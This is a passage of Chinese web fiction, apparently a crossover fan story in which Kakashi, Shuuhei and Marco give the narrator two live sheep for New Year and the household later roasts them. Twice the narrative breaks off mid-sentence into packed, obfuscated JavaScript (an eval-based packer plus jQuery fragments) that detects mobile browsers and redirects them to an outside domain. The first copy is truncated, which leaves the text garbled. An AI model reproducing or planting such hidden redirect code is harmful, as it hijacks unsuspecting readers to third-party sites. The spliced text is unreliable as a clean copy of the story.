重要的永远是雨过天晴,篮球场的夕阳又显出绝美。 斜斜的金光把影子拖曳成细长的线条。交织是一种联结,光阴将我们牢牢捆绑——这很浪漫,像诗一样,不是吗? 天地间再无他人,只有我们一家。 今天也不知是什么好日子,马尔科学习之余难得休息,卡卡西任务结束提前返程,就连修兵也堂而皇之地翘了下午班,一反常态地出现在我面前。 “修兵!”我听见他近了,叫着他名字。 “嗯,”他应着,平静的陈述里带着一丝几不可寻的笑意,“我下午开完会,顺路去接卡卡西。他听说你们在这里打球,家都不回,非要过来见你们——” 男低音越来越近,直至转角,他亦在光里,逆着光,径直向我走来。 “卡卡西给你带礼物回来了。” “礼物?” “嗯,新年礼物,你的,”修兵看着我,微微地勾了下唇角。 没等进一步解释。卡卡西凑上来,笑眯眯地纠正:“话要说清楚啊修兵,给大小姐的礼物我只是负责带回来,可不是我买的哦——是吧,马尔科?” “哈哈,是的,”忽然被Cue的马尔科迅速接话,“我买的,但大家都出了力,也不是我一个人的功劳。” “什么意思?”我听不懂。 什么礼物、什么出力、什么功劳……他们在打什么哑谜? 没有人和我解释,我急急求助修兵。 “就是礼物啊,”好在总有修兵会不厌其烦地和我讲解,“新年了,大家都有礼物,怎么可能少了你?今年我们商量了一下,也给你准备了礼物——马尔科提供资金,我联系人,卡卡西带回来——很特别,你会喜欢的。” “哦,”我明白了,他们商量着一齐给我准备了新年礼物。 但他们什么时候商量的?我怎么一点都不知道?我望向马尔科,要他给我进一步的解释。 他有前科,我直觉和他脱不开干系。 目光对上,马尔科果然一怔。 但他也没有更进一步的解释,只堪堪说道:“别这样看我啊大小姐,我只是提供资金,是卡卡西和修兵具体办事,他们辛苦一点。” “哈?我没什么的,不过几个电话而已,”修兵辞而不就。 卡卡西亦然:“我也没出什么力,顺路的事。” ……35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14488534|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 我分明是在询问他们在打什么哑谜?而他们三个你一言我一语,互相谦让,彼此推辞。神神秘秘,恍恍惚惚……愈发叫我云里雾里。 “你们在说什么?”我听不懂,一句也不懂。 “在说我们给你准备了一个不可思议的礼物!”卡卡西讲。 什么不可思议的礼物? 卡卡西的形容太奇妙了,我不觉得有什么礼物可以被称为“不可思议”。礼物因为心意而珍贵,因为需求产生价值。 但我没有需求,礼物自然没有额外的价值,至于心意——每一年的心意都一样珍贵,也没有高低贵贱。 卡卡西的强调分明在什么。 但我真的不知道他想表达的究竟是什么? 我不明所以。看了看修兵,修兵没有给我答案;我又看向马尔科,他只是笑,也不回答。 “真的,”只有卡卡西拍了拍我的头,大言不惭道,“保证你喜欢,一见到就会高兴到跳起来!” “我才不会,”我不相信,但要说“高兴到跳起来”,我望着卡卡西,忍俊不禁。 “我们也给你准备了一见到就跳起来的礼物!”我也拍了拍他,像他吊我胃口那般吊他胃口。 “哈?真的吗?”卡卡西愣了愣,亦是一头雾水。 “好了,”修兵总结陈词,“你俩都会跳起来的,我保证。” “真的吗?”我和卡卡西异口同声。 “真的。”马尔科笑着说。 我仍然不知道他们究竟给我准备了什么新年礼物,但既然修兵和马尔科双双肯定礼物的含金量,那或许真的存在一样即便是我也会感觉惊喜的东西。 我想不出那东西是什么。但我想,肯定是马尔科的主意。他的脑袋里总有许多天马行空的念头,那些念想在规则之外,我捉摸不透,只能静待发生,然后一窥真容。 算了。我只要知道那是“惊喜”即可,保持期待即可。 至于别的……时间自然会给出答案。 “等我回家见到了礼物再说谢谢你,”我和马尔科讲。 他笑了笑:“这么客气啊,大小姐?” 我当然不是客气,我只是……我也说不清楚。 起风了。修兵提议:“别在这里干站着了,先回家吧。时间多的是,等卡卡西修养好了,你们再打球吧?” “我没问题,随时奉陪,”马尔科也说,“那先回家吗卡卡西?” “嗯,回家吧。”卡卡西接过篮球,最后抛出一计。 篮球重重地砸在篮板上,夕阳斜斜地挂在天边。 我仍然平等地不喜欢一切运动,但我喜欢这样的风景。 归家的路途不远,时间却很多。修兵举着手机,寻找附近的自助餐厅;卡卡西一手抱着篮球,一手插兜;我走在中间,挽着卡卡西胳膊,牵着马尔科的手。四人参差成一排,偶有风吹,把谈笑声送出很远。 落日余晖打开天地间的序幕,光阴把我们搓捻成一根根细长的丝线。 在时间的维度里,生命是一条线性的长河。 没有人能两次踏入同一条河流。每一次涉足,都会在河水里留下独一无二的印记。在河水上游点亮的河灯,也会在下游打捞出沉水的踪迹——那种因时而动的客观变化,偶尔人们会称其为“命运”。 命运当然是存在的。 尽管它看不见、摸不着,和时间一样悄无声息,仿佛从未有过。亦或时间也是一种“命运”,一样错综复杂,玄妙至极。 无可言喻,无需言喻; 难以捉摸,何必捉摸。 ——交织是一种联结,光阴将我们捆绑。 这很浪漫,不是吗? 世界上有光,然后有影,然后命运使我们交缠。 35.16 明星(1) 我宣布春天来了! 春天不在别处,就在我的眼睛里。 早上一睁眼,有马尔科微笑和我说“早安”;洗漱完出房间,又有修兵整装待发,同我道别;等我送他出门,更有卡卡西晨练结束,从门外回来,招呼我们一起吃饭。 “吃饭了,马尔科!” “嗯,好!” 最冷的日子已经过去了,寒冬之后就是春天。 街角的早点店又开始营业,往来宾客络绎不绝。 卡卡西外出三个月,最想念的居然是一口热腾腾的辣拉面。 他和从前不太一样,火影时期的卡卡西饮食清淡,但在我们家,自打和我一起生活,他吃辣椒比我更甚。修兵吃辣椒也很厉害,是我传染的,起初他们都不太吃。 我们家目前只有马尔科还没有吃辣的爱好,卡卡西单独给他买了米粥、小笼包,而我们是十天如一日的大份辣拉面。 “又是辣拉面,”马尔科在厨房煮豆浆,姗姗来迟,一见红彤彤的两碗面,惊讶不已,“大小姐也就罢了,每天都这么吃,卡卡西,你身体受得了吗?” “家里没有暖气,吃点辣椒暖和。”卡卡西答。 “嗯,就是!”我在边上点头,他说的对,这是我的词。 一月中旬,学校的课程已经全面结束,正式进入考试季。 大多数教室要借做考场,能集中复习的图书馆人满为患。反正没课,复习而已。这项紧锣密鼓的筹备工作马尔科选择在家进行,我们也改作在家吃早饭,和卡卡西一起。 “来,大小姐的豆浆。卡卡西的蛋白粉。” “好,麻烦了。” “谢谢。” “……你们干嘛,突然这么客气,”马尔科放下了餐盘,在我身边落座。 我体寒,马尔科不许我喝牛奶,每天早上有卡卡西买早饭,他都会额外给我打杯鲜豆浆。 卡卡西任务归来,在家写了几天“反思日记”,对自己手脚生疏一事深恶痛绝,决定加强锻炼。马尔科也给他定制了“健身食谱”,督促着要摄入优质蛋白;顺手的事,每天给我煮豆浆,也给他兑一杯蛋白粉。 那东西我尝过,不好喝。 今天修兵单位有事,着急上班;若是不急,有时间和我们一起吃早饭的话,早上他会得到一杯马尔科特调的果蔬汁——那个好喝,如果修兵在,马尔科会额外给我多做一杯。 “……嘶!” 辣拉面我和卡卡西已经连续吃了十天,唯有今天辣得过分。 几口下去,卡卡西被辣得停了筷子,疯狂抽气。难喝的蛋白粉,他连眉都不皱一饮而尽。 “……呼!” 太辣了。我也被辣得中场休息,捧起豆浆吞咽。 蛋白粉不解辣,卡卡西伸着舌头吐气;豆浆也不解辣,我有样学样,也吐舌头。 “哈哈哈你们干嘛?”马尔科在旁边笑话我们,“大小姐,你别学卡卡西啊!” “怎么了,我很辣?” “我知道,但是……”他偏头看我,忍俊不禁,“你这样好像小狗。” “!”我惊了。 我们一起生活了三个月,整整一百天同床共枕,吃住一体。我还没有把吃辣的习惯传染给马尔科,卡卡西回来才十天,已经把“把我当小猫小狗”的本领传染给了马尔科。 卡卡西他会魔法! 马尔科都把我当小狗了! “我没有像小狗!”我不吐舌头了,可是好辣,眼泪要出来了,“呜呜……” “……喂,大小姐,”是我在辣,却是马尔科手忙脚乱,“你别呜呜啊,更像小狗了。” “啊啊……” “啊啊也不行啊!” 那怎么办,我好辣。 马尔科说我吐舌头像小狗,那我不吐舌头了。闻言,卡卡西也不再这么做。但他也辣,辣是痛觉,无法排解,他一边痛一边笑我,自作孽不可活,一口辣气顺势呛进了气管里,呛得直咳嗽。 “咳咳咳、哈、咳咳咳……” “喂,卡卡西,你怎么样!” 马尔科不笑了,吓得赶紧开始急救。 卡卡西的脸都咳成了猪肝色。涕泗横流的模样真够糟糕。 该我笑了:“哈哈哈……咳咳咳、咳咳咳……呜呜……” …… 春天真的来了,它就在我的眼睛里。 卡卡西一回家,家里肉眼可见地热闹了起来。一顿平平无奇的早饭吃得波澜壮阔,原本十来分钟搞定的差事,活活闹腾了半个钟头。 上午十点,马尔科还有一场考试。 今天他自己去学校,我和卡卡西有另外的安排。 一月中旬,距离大年三十尚有半个月,但四处都已经弥漫起年的气息。 春联、鞭炮、烟花……极目所见,家家户户皆是张灯结彩。就连路边的车站里也早早贴上了福字,挂上了喜庆的红灯笼。 广告牌上提醒着年关倒计时二十天,届时请市民朋友有序进入活动中心参加本地的节庆活动。 就像每座城市都有自己的“新生大学”一样,每座城市也有自己的“活动中心”。由办事处设立,是一个小型的体育场,专门进行办事处相关活动。 每年年关,各地都会在活动中心举办当地的风俗年会。 一年到头,普通人难得休息几日,能力者们却大多要在这时外出巡逻,维持社会稳定;卡卡西今年也要去执勤,节假日三倍工资,童叟无欺;至于修兵,每逢节假日,他都要作为记者外出采访—— 往年我们都会提前过年,今年也不例外。 择日不如撞日。 上午这门考试结束后,马尔科能有两天休息时间,下一场考试在三天后。 最近卡卡西正在休假,提交了上个任务的任务报告后,办事处要对其进行审核,审核期间无所事事,正好有空档;而自打修兵的同事出了院,修兵下班之余,无需再去医院照料,生活逐渐回复日常。 编辑部的日常工作很有规律。 修兵负责的文学、时尚板块都在中旬印发刊物,等下旬运发售卖;下旬售卖期间,开放新一期的投稿;投稿筛选工作一直持续到次月上旬,然后在中旬前定稿、印发……周而复始,如此循环。 每月中旬往后,都是编辑部一月一度的“清闲期”。 眼下正是中旬,时间恰到好处。 马尔科有空、卡卡西不忙、修兵也清闲。我们一通商量,决定提前过年,就在今天。 我们在附近街区消食,顺路寻找“福袋”。 每年秋天,位于真言市的“二号神社”都会关门闭社,将上半年收到的“怨灵”净化成“福灵”,并装入福袋中,一直至新年时分才重开神社,迎接民众;而那些福袋,将在新年前陆陆续续从“二号神社”流通出来。 福袋有脚,可以流通,本身是一种类似于“式神”的东西。 神社地处真言市,原名“真言神社”,之所以被称为“二号神社”,是因为其中居住着二号管理员。 她是一位数的管理里,唯一一位对大众显露真身的管理员。且排位之高,名如其实“数一数二”。 拜其所赐,真言市也是唯一一个有前十位管理员定居的城市,一个不毛之地,旅游业尤为旺盛。 但这位管理员却深居社内,并不对外接见普通人。 神社日常有式神运作,除了一年一次的新年祈福活动,她几乎不会露面,而是交由手下能力者——原死神六番队队长朽木白哉代为出席。 海贼世界暂未大面积散场,姑且不论。至于火影的那位……未曾露面,但常有人在神社附近见到乌鸦,我想大概和宇智波家族里的某一位有关。 我不能确定具体是哪一位,卡卡西或许可以,但很可惜,我们没有去过真言市。 所有的了解仅限于每年一次的新年祈福直播,以及坊间传言。 每年的电视直播中,二号管理员都会带着狐狸面具,和朽木白哉缓缓走在通向神社深处的石径小道……面具遮挡了相貌,但挡不住遗世独立的气质。 有办事处的录像人员在,朽木白哉的千本樱承戒严的解放状态。 于是每年的直播上,都有樱花漫天飞舞,场面极其唯美,也极其好嗑。 而坊间传言,二号神社的“福袋”有逢凶化吉的功效。 诸如有人在新年头一天得到了写着“消灾”的福袋,然后在一个月里遭遇车祸,车毁于一旦,但人却毫发无损,唯独福袋化成了一缕烟;有人在新年前得到“去病”的福袋,然后偶遇名医,多年顽疾得以根治,而福袋又化成了白烟…… 真正的福袋不会毫无缘故地化成青烟——很明显,那不是“福袋”,是二号管理员用能力幻化出的“式神”。 既是式神,当然有脚。 事实也诚然如此,有大量的目击证明:福袋派发期间,它们会幻化成天上的飞鸟、水里的游鱼、田野里奔跑的走兽,或者路上一个行人……你遇到了,然后“砰”的一声,它变成一个福袋等你拾取。 所以时间不确定,地点不确定。 唯一确定的是人人有机会获得,而这机会需要自己去寻找。 “……都发了半个多月,今年我们还能找到吗?”卡卡西问我。 他喜欢参与这个活动,每年都拉着我一起满大街寻觅。去年我们有幸找到了一枚,内里的纸条写着“得胜”,顾名思义,是能获得某场胜利。 然后我们非常开心,叫上修兵一起去吃烤肉庆祝。 结果一进门就被老板通知我去年创下的“大胃王记录”被旁边那位男士打破了,如果不是本店的大胃王,从今天开始吃饭不能享受八折优惠。 ——没有优惠怎么行! 我不能忍,马上报名,重新挑战大胃王。 好消息是,我们得胜了。 坏消息是,好不容易找到的福袋还没焐热,就在我手里化作了一缕青烟。 …… 这样啼笑皆非的例子不是唯一,据反馈,大多数人找到福袋都会很快消失掉。 除了出车祸一类极端的情况,对普通人来说,找不找到,似乎也没什么太大的意义。图一乐而已。 “不知道,”我兴致乏乏,也问他,“修兵有消息了吗?” “哦,我看看,”卡卡西会意地拿出手机。 修兵的头像亮着,但我们的群——相亲相爱一家人——里并没有新的消息。 早上马尔科出发后,我们给他留言“考完联系”,九点五十他说“好”,但现在也没有回消息——系统提示,一个小时前他下线了,这才十一点,应该还在考试中。 “修兵没说几点下班吗?”卡卡西偏着头问我,“说起来,编辑部出了什么事?早上看他匆匆忙忙的……” 我摇着头,也不太清楚,早上修兵去的急,具体内容没有多说。 “可能是时尚板块出问题了吧?”我猜,“近期有春季的时装发布会……” “啊,又是塌房吗?”卡卡西秒懂。 每年的春季时装发布会后,各大会场都会多举办一个“新人设计师推荐展”。 推介新人自然是好事,但往往一经曝光,观众们从设计本身开始一路深挖到设计理念、表现方式、设计师本人……深挖没什么不对,设计本不是单纯的产品,而是一个时尚理念;理念的本质又和人文息息相关,不能单纯是设计,要考虑社会影响和价值观。 于是年年展后,先是各路新人深受追捧,仿佛冉冉升起的明日之星;然后各位明日之星接连翻车,推荐展会也从时尚专区变成了塌房重灾区。 卡卡西不懂时尚,但他知道一旦设计师塌房,修兵写的相关报道就必要剔除。 太阳底下没有新鲜事,此类翻车事件数见不鲜。 “哦,那也不妨碍聚餐,”卡卡西心里有数,“不过可怜的修兵又要忙一阵子了。” “嗯,”我也觉得,“可怜的修兵。” 我话音未落,卡卡西脸上又扬起了笑意:“既然修兵忙……那不然等马尔科考试出来,中午我们去打会球吧,大小姐?” “……”我一看他那表情,就知道他又想打球。 “可以是可以,但我要带小羊!” “好啊,”卡卡西也说我,“我就知道你要带小羊。” “哼哼~” “哼哼。” 是的,我们家有羊。现在我是一个有小羊的管理员。 什么时间改变自己都不算晚。我错了,我要收回那句话—— “我不觉得有什么礼物可以被称为‘不可思议’。礼物因为心意而珍贵,因为需求产生价值。但我没有需求,礼物自然没有额外的价值,至于心意——每一年的心意都一样珍贵,也没有高低贵贱。” 我的确错了,我必须更正: 话不可以说的太绝对,让我感到“不可思议”的礼物,世界上是存在的。 那晚回家,卡卡西见到了他心心念念的查克拉刀,激动地一蹦三丈高。我却没有在家里找到我的礼物——明明他们都说有,可我找完三个卧室都找不到。 “哪里有啊?”我求助马尔科。 他嗤嗤地笑,捂住了我的耳朵……再一松手,后院“咩咩”的声响异常醒目。 “!” 我赶紧打开后门,去院子里端详。这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14502338|149401||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太诡异了,我们家荒芜的后院里居然出现了两头羊! “这是什么?!”我问他们。 “羊啊。”他们说。 “……”我都被说愣了。我当然知道是羊,可是为什么会有羊? 这种生物我几乎没有见过活的,只见过羊肉馆上倒挂的尸骨。但现在,它们不仅出现在我面前,活生生地啃食着院里的杂草,还在我们家院子里,分明是我们家的羊。 所以为什么?我们家为什么会有羊?什么时候的事?我怎么不知道?! 我一头雾水,仔细回忆,最近也没有忘事。 “到底怎么回事啊?”我不理解,“我怎么不知道?” 上次发生这种事还是马尔科赚来稿费要给我买羊肉汤,我下意识地看向了马尔科——不会吧?!不会是我想的那种吧?! “就是你想的那样,”马尔科果然笑了,笑得分外腼腆,“冬至那天不是没有吃上羊肉汤么,市里也买不到羊肉,价格也高……所以我咨询了修兵有没有渠道可以买只羊,修兵说他有人脉,可以联系上,但是在外地,买不到;卡卡西忽然加入了群聊,说他可以顺路带一只回来。” 所以他们三个一通商量,决定联袂求解。 马尔科提供启动资金——冬至前他被录用了两篇稿,拿到三千块稿费,冬至后又有两篇再审稿件被录用,一共六千块现金,马尔科全部贡献出来; 修兵提供人脉——我们本地的羊肉两百五十块一斤,供不应求,连带着附近城市的羊肉全部溢价。这种情况只能试图从远处寻找养羊大户,修兵在朋友圈里四处咨询兜售活羊的农场,终于锁定了几家; 卡卡西负责购买和带回——他正好听到两人聊着“买羊”,正好在西北边境;西北边的活羊售价才三十块一斤,卡卡西讲到二十五,六千块买了两头。他做完任务,顺路把小羊们带回来。 “这就是你们送我的新年礼物吗?” “是啊,惊喜吗?” 惊喜!当然惊喜!天呐!是羊!是活生生的羊! 我没有理解错,是两锅热腾腾的羊肉汤! “我太喜欢了!谢谢你们!” 卡卡西没说错,是不可思议的礼物,会让我兴奋地跳起来那种! 我要抱抱我的英雄卡卡西!我还要抱抱我的勇士马尔科!我还要抱抱我的—— “我就算了,”修兵冷酷地拒绝了我,“去看看羊吧。你大概也没见过……” “嗯,好!”我的确没有见过,倍感新奇,“为什么长得和电视里不一样?” “因为这不是普通的羊啊!”卡卡西答。 说来话长,不过我们有的是时间。 卡卡西细细说起进牧场挑选、购买的流程,带回来的一路上可谓是一波三折,好在结局不错:不算运费,羊肉的单价也不过三十块一斤,我们当地的羊肉价都飙升到三百块了呢! 而且他带回来一大一小两只羊,总共两百斤。算算价格,他们三个联手,用六千块的造价,买到了六万块的服务。 “卡卡西,我的英雄!”我的赞美溢于言表。 不愧是我们这I人之家里最E的存在,真会讲价啊卡卡西! “那可不——” 马尔科会推辞,修兵会谦让,卡卡西就不会,他的确很会讲价,口才极好,笑得心安理得。 “……这可都是我特意选的。” “有什么讲究?”修兵请教。 “当然有,”这一趟牧场之旅收获不少,卡卡西学到了,也教我们,“肉羊分很多品种,肉质的口感和品种和喂养方式有关。我们这是戈壁羊,纯天然放养,日常吃各种草药,是肉羊里最极品一种噢!” “原生态养殖?”修兵瞬间估算好了价格,“要是纯天然……那我们这都不止三百块一斤了。” “而且超好吃,和我们这里兜售的注水羊肉完全不一样,”卡卡西讲,“我去买羊,商家给我尝了炖肉——怎么说呢,垂涎三尺,唇齿留香。” “这么好吃吗?!”我承认我馋了。卡卡西吃饭不挑食,连他都说好吃,那滋味一定很好。 “非常非常好吃,”他看我馋,还更进一步地安利我,“而且同样是戈壁羊,听说这两头羊放养区域不同,肉质口感不一,吃法也不一样……” 我们在屋檐下说话。小羊们颈上拴着绳索,在院子里自由地啃食杂草。 卡卡西这话一出,两只羊不约而同地僵住了。 而他全无知觉,讲到兴起,上前拍了拍其中一头的脑袋:“……这个大的肉肥油多,是标准的烤肉用羊,煮汤会腻,回头我们找人杀了,做烤全羊吃;那个小点的肉嫩油少,比较清淡,到时候剥了皮煮汤!” 介绍最佳烹饪方法而已,话语本身没有什么问题,拍拍小羊脑袋的行为也没有什么问题,卡卡西说话时也很喜欢拍拍我,那是一种亲昵的表现。 但是一边拍着小羊的脑袋,一边说要把它“杀了烤肉”“剥皮煮汤”就很有问题了。 ——这是什么地狱发言! 羊听了都害怕,非但不吃草,还把嘴里的草往外吐。我们听了也震惊,不由得面面相觑。 “……卡卡西,你是魔鬼吗?”修兵问他。 “卡卡西,你是魔鬼吧。”我也和他说。 马尔科人好,这种情景居然都不忍心说他,但他也属实没能忍住:“噗……哈哈哈哈!” …… 小羊给我们家带来了诸多欢乐——我喜欢小羊,各种意义上。 福袋可遇不可求,球场却近在咫尺,触手可及。与其追逐虚无渺茫的运气,毋宁把握当下——那里空旷无人、草木繁茂,既可以打球,又可以放羊。 再适合不过了,我和卡卡西一拍即合。 “修兵几点下班?”他立马行动起来,在群里呼朋引伴,“我们去牧羊了,马尔科一会儿来球场啊!” 马尔科没回,修兵回了:“我中午加个班,下午会提前回来。” “OK!” 我想修兵的意思大概是他会如常下班,不耽搁过年,让我们不要玩太久;但卡卡西一句自信的“OK”,把话题引入了死胡同。 “那球场见!” 修兵:“……” 他真会聊天,把修兵聊闭麦了。 眼睁睁看着那钢笔头像由彩色转入漆黑,卡卡西回过味来,跟我讲:“嘛……我还以为修兵要跟我们一起打球,原来只是单纯下班早吗?” “笨蛋卡卡西!”我无情地嘲笑他。 “哈?”猝不及防,他抓住我,“谁是笨蛋?再说不带小羊了!” “!”我错了,我认错,“……我是笨蛋。” 36.16 明星(2) 我可以是笨蛋,只要卡卡西愿意带小羊去球场。 没有办法,名义上我是小羊的主人,实际上它们只听卡卡西的话。 “走吧,小羊,”我叫小羊,小羊不理我。 “我刀呢——”卡卡西一开口,小羊撒丫子开跑。 我们赶在马尔科考试结束前,接上小羊,赶到了街头篮球场。 马尔科认识路,小羊也认识。自打卡卡西回了家,每天都邀请马尔科一起打球,我也跟着一起,他们打球,我牵着小羊吃草。 卡卡西老师很会教学,马尔科的球技进展神速,短短十天,已经可以和卡卡西缠斗得有来有回。 冬季天冷,附近没有人打球,修兵也不在,凑不齐三对三的队伍。我这个教练暂无用武之地,正好,我放羊。 放羊非常有趣,有趣就有趣在我没体验过。 我没有养过宠物,身边也没有人养。卡卡西的忍犬帕克比起宠物更像是战友,有自己独立思想。偶尔卡卡西带我,无暇应对办事处任务,会单独召唤帕克去工作。帕克处理得极好,一只宠物做不到如此程度。 “又放羊啊,大小姐~” “嗯,你好帕克。” 卡卡西和马尔科打球去了,派出他的八忍犬跟随我。 我们在附近走动,放任小羊四处吃草。我不用看管,忍犬们虽然不是宠物,却也有“随主人”的特性,智商方面随了卡卡西,个顶个的聪明,还会牧羊。 小羊却是笨蛋,天天见面,稍不注意还会顶人。但也随我,食量可观。 我是第一次见到活的小羊,毫无饲养经验。不只是我,修兵、卡卡西、马尔科都没有养过羊。 这一次着实让我们全家大开眼界。 为了还原他品尝到的那口唇齿留香的羊肉汤,商家特意嘱咐“秘诀是现宰”,卡卡西信了,一路折腾,特意带活羊回家。 原本卡卡西全无必要如此折腾——他可是会封印术的忍者,我们家的储物卷轴就在他手上。 我们家房子面积不大,没有额外的储物间。家中不用的物件都由卡卡西“储藏”在卷轴内。 这种卷轴由办事处开发,名为“储物卷轴”,不同于“普通卷轴”:它容量极大,不必一物一储,常常用来打包大物件。唯一缺点的是不能储存活物,且使用时,需要在管理员本人“认证”下,由忍者进行存取操作,所以也只支持名下存在忍者的管理员向办事处申请购买。 但在我们家,我把权柄交给了卡卡西,他可以自行处理…… 羊肉原本可以通过这种方式带回来,但为了口感,卡卡西屈服了。他不用卷轴装肉,却装了十筐牧草。 “……倘若喂食了下等草料,羊肉的品质会变差,”卡卡西解释道,“所以我还买了当地喂羊的草药……比蔬菜还贵,要八块钱一斤。” “好贵呀!” 我们纷纷感概,极品小羊是不同凡响,吃的草都这么讲究。 说几句话的功夫,卡卡西从卷轴里取出剩下的三筐草料。本义是给我们长长见识,哪只小羊们一哄而上,饿鬼投胎一般,以迅雷不及掩耳之势……眨眼之间,牧草没了。 “它们几天没吃饭了?”我们三个目瞪口呆。 “嘛……真是的,早知道多买些了,”卡卡西稍显遗憾。 “没关系,”马尔科乐观,“刚才不是吃了后院的草吗?那我们家有的是草。” “嗯!”我点着头,连连肯定,“是的。” …… 起初我们还很乐观。 只有大城市和中心商贸区才会高楼林立,像我们这种十八线小城市的市郊地带多得是独栋建筑。我们家房子面积虽然不大,但有自己的小院。 前院是门面,卡卡西每年都会在花圃里播种一年生的草本花卉种子;后院荒废已久,其间野草丛生。 草这种东西,家里数不胜数。虽然没有牧场里那么多种类,也不是珍惜名贵的草药,但至少“天然无害”,绝对健康。 小羊愿意吃,那再好不过了。 把它们往后院一放,它们开心,我们也开心。 修兵早说可以把后院清理出来,搭上木板,做成景观平台;余下空地也可以给卡卡西更多发挥的空间——他早已不是从前的“Copy忍者”,不沉迷《亲密天堂》,反倒沉迷养花种菜——这种爱好正需要大量土地。 可惜想法很好,一直以来,修兵忙工作,卡卡西在照顾我之余也要忙着处理办事处的工作,完成年度指标……大家都脱不开身。 小羊来得恰到好处。 我们只要放任小羊在后院啃上半月,甚至不需要打理,只用买些木板搭建观景平台就好。趁着冬天,一步到位。等到春天,卡卡西的种子播下,后院就会绿草如茵。 …… 但计划赶不上变化,结果出乎意料,让人大跌眼镜。 别说半个月后清场,小羊们有如饕餮在世,短短四天就把我们偌大一个后院啃成了不毛之地,再一天,前院也干净了,同样寸草不生。 第六天,家里属实没有条件,我和卡卡西不得不带小羊们出门觅食。那天小羊没有吃饱,晚上“咩咩”叫了一彻夜,早上起来,马尔科赶紧把煮完豆浆的豆渣喂给它们。 ——还是“咩咩”。 没办法,我们只能每天都带它们出去啃草。 只可惜这种“勉强”的日子不能持续太久,一直拖下去,小羊会变瘦。 所以择日不如撞日,别等未来就现在,没有条件创造条件,我们要赶紧团年。 一点不到,我们带小羊回家开始准备。 眼下后院一片荒芜,很合适,正好用来烤全羊。 整个过程血腥暴力。 卡卡西担心我会舍不得小羊,伙同马尔科把我关在家里,不许我参与宰杀。我只能趴在楼道的玻璃窗上张望,风烈烈地吹,卡卡西挖坑搭架、下刀屠宰。 刚拿到手的限量版长刀在他手上玩出了花样。 手起刀落,没有痛苦,一击锁喉。 鲜血浸润了后院的土地,卡卡西犁了表层土,连同我们事先说好丢弃不吃的内脏一起厚埋进土坑里。 他毕竟出身暗部,在毁尸灭迹这方面经验丰富,提前跟办事处报告了“我们家要埋肥料”,特批了半斤土地改善剂。两只羊除去骨肉,其余部分全在坑里,他一套白色粉末撒上,土地平整空旷,甚至没有异味。 初步搞定。马尔科连忙松开我,接过了卡卡西的差事。 门没关,风里隐隐传来他们的对话。 “下刀真准啊,卡卡西。” “哈哈,接下来交给你了。” 接下来换马尔科操刀,卡卡西进屋换班。 风吹过,血腥味扑面而来。 但手法很利索,值得肯定。 卡卡西对斩魄刀极有兴趣,之前和修兵修习了一段时间刀法。我没想到那段修习第一次演示,居然用在杀羊上。 这里是三个世界的集合,有管理员支撑着世界的运转。 比起战火纷飞的忍界,这里充满了安逸。安逸偶尔也会是一种毒药,不常生活在安逸中的人,一旦摄入过多,很容易失去敏锐、置身懈怠,不可自拔。 这种情况常见于火影出身的能力者。 非危言耸听,前些年办事处的研究报告表明:死神出身的能力者“懈怠”水平只有一成,而火影出身的能力者“懈怠”水平有六成。其原因在于死神们的原生活环境较为平常稀松,普遍能拥有良好的日常管理;而忍者们常在高危环境下生活,已经养成了极端松紧的生活定势,难以调节。 办事处每年都会给管理员发送其手下能力者的指标。 我们家至今还没有收到预警,说明我们家三位男士的心理指标都很是健康。 从他下刀果断决绝的神态,可见卡卡西即便照顾我六年不出任务,而他一旦出山,仍是顶格的超一流忍者。 ——真不愧是我们家的卡卡西! 我凑过去:“真棒!” “哈?”卡卡西微微一怔,正经不了一点,立马开始吓唬我,“大小姐,我刚杀了两只可爱的羊羊!” 那虚张声势的模样惹得我忍俊不禁:“卡卡西,羊羊那么可爱,一定很好吃吧!” “?”他惊了,反问我,“这是一位端庄的大小姐应该说的话吗?” ——这为什么不是? “当然了,”我很肯定,“羊羊这么可爱,我要吃五香麻辣!” “你闻闻羊羊可爱吗?新鲜的呢……”眼看着他笑眯眯地走过来。 “你去洗澡!”我让他快走,别靠近我,“你身上一股杀手的味道。” “哈哈哈!” 距离修兵下班还有几个钟头。卡卡西先去洗澡更衣,我趴在窗台上看马尔科腌肉。 烤全羊这件事我和修兵完全不会,卡卡西略有耳闻,但仅限于理论层面,真动起手来还得看马尔科。 马尔科自告奋勇要做主厨。在卡卡西宰羊时候,他提前准备好了佐料。一出门,直接拉水枪洗肉晾干,拿注射器把调料汁水打进了羊肉里,裹上保鲜膜,绑上了烤架。 我看得目瞪口呆。 在我印象里马尔科是货真价实的医生。可见他烤起羊来有条不紊的样子……马尔科怎么连厨子的工作都这么擅长? 我知道马尔科厨艺精湛,我是说我没有想到马尔科在烹饪方面也是个全才。 年关将近,羊肉价格再次飙升。市场上处理一只羊要三百块的手续费,价格太高了,迫不得已之下,卡卡西说要自制。 “自制?” 我和修兵面面相觑。买来羊肉放进锅里煮不成问题,但完整地处理一只羊……我们又不是屠夫,不会啊?! 修兵虽是死神,到底是个文学青年,可从来不是那种“死神”啊!打打杀杀的事,他倒是会做,但也只会杀虚,不会杀羊。 “难办”两个字赫然出现在他脸上。 “杀羊……应该也不难吧?放心了,我来搞定。”还好有英雄的卡卡西大包大揽。 “我来吧,”马尔科也插话,“我杀过,有经验。” 我们这才知道马尔科居然会杀羊!不仅会杀羊,还会烤全羊! “你会烤全羊?!”我们三个都惊住了。 